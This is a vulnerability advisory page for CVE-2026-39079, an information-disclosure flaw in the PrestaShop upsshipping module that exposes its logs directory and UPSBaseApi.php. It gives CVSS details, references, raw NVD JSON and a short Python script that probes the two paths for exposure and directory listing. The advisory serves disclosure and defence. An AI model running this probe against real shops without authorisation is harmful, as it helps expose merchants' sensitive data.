CVE-2026-39079

Description

An issue in prestashop upsshipping all versions through at least 2.4.0 allows a remote attacker to obtain sensitive information via the /modules/upsshipping/logs/, and /modules/upsshipping/lib/UPSBaseApi.php components

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

PrestaShop upsshipping <= 2.4.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com"
vuln_paths = [
    "/modules/upsshipping/logs/",
    "/modules/upsshipping/lib/UPSBaseApi.php"
]

print(f"[*] Checking {target_url} for CVE-2026-39079...")

for path in vuln_paths:
    full_url = target_url + path
    try:
        response = requests.get(full_url, timeout=5)
        if response.status_code == 200:
            print(f"[+] Potential sensitive data found at: {full_url}")
            # Check if directory listing is enabled or file content is exposed
            if "Index of" in response.text or "Parent Directory" in response.text:
                print("    [!] Directory Listing Enabled.")
        elif response.status_code == 403:
            print(f"[-] Access forbidden (403) at: {full_url}")
        else:
            print(f"[*] Received status code {response.status_code} for: {full_url}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error connecting to {full_url}: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39079
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39079
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39079/
[4] VulDB https://vuldb.com/cve/CVE-2026-39079
[5] https://labs.esokia.com/cve/cve-2026-39079/
[6] https://labs.esokia.com/cve/cve-2026-39079/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39079", "sourceIdentifier": "[email protected]", "published": "2026-05-18T15:16:25.533", "lastModified": "2026-05-18T20:17:10.873", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in prestashop upsshipping all versions through at least 2.4.0 allows a remote attacker to obtain sensitive information via the /modules/upsshipping/logs/, and /modules/upsshipping/lib/UPSBaseApi.php components"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://labs.esokia.com/cve/cve-2026-39079/", "source": "[email protected]"}, {"url": "https://labs.esokia.com/cve/cve-2026-39079/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}